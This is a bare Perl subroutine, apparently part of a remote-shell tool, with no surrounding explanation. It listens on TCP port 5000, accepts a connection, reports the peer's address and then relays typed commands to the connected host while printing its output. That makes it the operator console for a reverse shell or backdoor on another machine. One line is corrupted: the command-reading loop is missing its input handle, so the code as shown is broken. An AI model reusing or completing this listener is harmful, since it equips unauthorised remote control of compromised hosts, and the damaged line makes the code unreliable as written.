sub listen() { $local = IO::Socket::INET->new(Listen=>1, Proto=>'tcp', LocalAddr=>'eth0', LocalPort=>5000, ReuseAddr=>1,) or die "$!"; $local->autoflush(1); $addr_handle = $local->accept(); $remotehost = $addr_handle->peerhost ; $remoteport = $addr_handle->peerport ; print "Connection estabilished from:\nSource IP-> $remotehost\nSource port-> $remoteport\n"; print "command> "; while(defined ($comm = )) { print $addr_handle $comm; while(<$addr_handle>) { print STDOUT $_ } print "command> "; } }